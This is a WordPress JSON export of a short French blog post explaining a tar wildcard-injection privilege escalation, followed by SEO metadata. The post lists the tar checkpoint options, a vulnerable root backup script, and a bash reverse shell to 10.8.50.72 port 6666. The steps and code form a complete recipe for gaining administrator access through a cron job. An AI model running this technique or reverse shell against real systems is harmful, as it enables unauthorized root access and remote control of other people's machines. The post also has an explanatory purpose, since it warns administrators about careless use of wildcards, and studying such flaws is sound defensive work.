{"id":434,"date":"2021-06-25T19:45:03","date_gmt":"2021-06-26T00:45:03","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=434"},"modified":"2021-06-25T19:45:03","modified_gmt":"2021-06-26T00:45:03","slug":"vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/06\/25\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\/","title":{"rendered":"Vuln\u00e9rabilit\u00e9 d\u00fbe \u00e0 l&rsquo;expansion du shell (exemple avec l&rsquo;utilitaire tar)"},"content":{"rendered":"<p>Lorsqu&rsquo;on utilise le caract\u00e8re * dans une commande shell, celui-ci signifie \u00ab\u00a0tous les fichiers\u00a0\u00bb<\/p>\n<p>Lorsqu&rsquo;on administrateur utilise une commande tar (ou possiblement d&rsquo;autres), il faut faire attention, car il y a des options pour obtenir un shell list\u00e9s suf gtfobins<\/p>\n<p><pre><code class=\"preserve-code-formatting\">\n--checkpoint=1 \n--checkpoint-action=exec=\/bin\/sh\n<\/code><\/pre><\/p>\n<p>Donc en cr\u00e9ant ces fichiers et un fichier de commandes  dans le r\u00e9pertoire que la commande tar sera utilis\u00e9, nous pouvons ex\u00e9cuter ce que nous voulons en tant qu&rsquo;administrateur.<\/p>\n<p>si un un administrateur ex\u00e9cute le script backup.sh contenant<br \/>\n<pre><code class=\"preserve-code-formatting\">\n#!\/bin\/bash\ncd \/var\/www\/html\ntar cf \/home\/germain\/backup.tgz *\n<\/code><\/pre><\/p>\n<p>Il nous suffit de cr\u00e9er les fichiers mentionn\u00e9s plus haut dans le r\u00e9pertoire \/var\/www\/html ainsi qu&rsquo;un fichier \u00ab\u00a0shell\u00a0\u00bb pour obtenir un shell inverse sur la machine de l&rsquo;attaquant<br \/>\n<pre><code class=\"preserve-code-formatting\">\n#!\/bin\/bash\nbash -i &gt;&amp; \/dev\/tcp\/10.8.50.72\/6666 0&gt;&amp;1\n<\/code><\/pre><\/p>\n<p>On renomme ici le fichier \u00ab\u00a0&#8211;checkpoint-action=exec=\/bin\/sh\u00a0\u00bb en \u00ab\u00a0&#8211;checkpoint-action=exec=bash shell\u00a0\u00bb. On rend le fichier shell ex\u00e9cutable (chmod +x \/var\/www\/html\/shell)<\/p>\n<p>Lorsque le crontab s&rsquo;ex\u00e9cutera, nous serons administrateur.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lorsqu&rsquo;on utilise le caract\u00e8re * dans une commande shell, celui-ci signifie \u00ab\u00a0tous les fichiers\u00a0\u00bb Lorsqu&rsquo;on administrateur utilise une commande tar (ou possiblement d&rsquo;autres), il faut faire attention, car il y a des options pour obtenir un shell list\u00e9s suf gtfobins &#8211;checkpoint=1 &#8211;checkpoint-action=exec=\/bin\/sh Donc en cr\u00e9ant ces fichiers et un fichier de commandes dans le r\u00e9pertoire que la commande tar sera utilis\u00e9, nous pouvons ex\u00e9cuter ce que nous voulons en tant qu&rsquo;administrateur. si un un administrateur ex\u00e9cute le script backup.sh contenant #!\/bin\/bash cd \/var\/www\/html tar cf \/home\/germain\/backup.tgz * Il nous suffit de cr\u00e9er les fichiers mentionn\u00e9s plus haut dans le r\u00e9pertoire <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-434","post","type-post","status-publish","format-standard","hentry","category-non-classe"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Vuln\u00e9rabilit\u00e9 d\u00fbe \u00e0 l&#039;expansion du shell (exemple avec l&#039;utilitaire tar) - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/25\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Vuln\u00e9rabilit\u00e9 d\u00fbe \u00e0 l&#039;expansion du shell (exemple avec l&#039;utilitaire tar) - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Lorsqu&rsquo;on utilise le caract\u00e8re * dans une commande shell, celui-ci signifie \u00ab\u00a0tous les fichiers\u00a0\u00bb Lorsqu&rsquo;on administrateur utilise une commande tar (ou possiblement d&rsquo;autres), il faut faire attention, car il y a des options pour obtenir un shell list\u00e9s suf gtfobins --checkpoint=1 --checkpoint-action=exec=\/bin\/sh Donc en cr\u00e9ant ces fichiers et un fichier de commandes dans le r\u00e9pertoire que la commande tar sera utilis\u00e9, nous pouvons ex\u00e9cuter ce que nous voulons en tant qu&rsquo;administrateur. si un un administrateur ex\u00e9cute le script backup.sh contenant #!\/bin\/bash cd \/var\/www\/html tar cf \/home\/germain\/backup.tgz * Il nous suffit de cr\u00e9er les fichiers mentionn\u00e9s plus haut dans le r\u00e9pertoire\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/25\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-06-26T00:45:03+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/25\\\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/25\\\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Vuln\u00e9rabilit\u00e9 d\u00fbe \u00e0 l&rsquo;expansion du shell (exemple avec l&rsquo;utilitaire tar)\",\"datePublished\":\"2021-06-26T00:45:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/25\\\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\\\/\"},\"wordCount\":172,\"commentCount\":0,\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/25\\\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/25\\\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/25\\\/vulnerabilite-due-a-lexpansion-du-shell-exemple-avec-lutilitaire-tar\\\/\",\"name\":\"Vuln\u00e9rabilit\u00e9 d\u00fbe \u00e0 l'expansion du shell (exemple avec l'utilitaire tar) - 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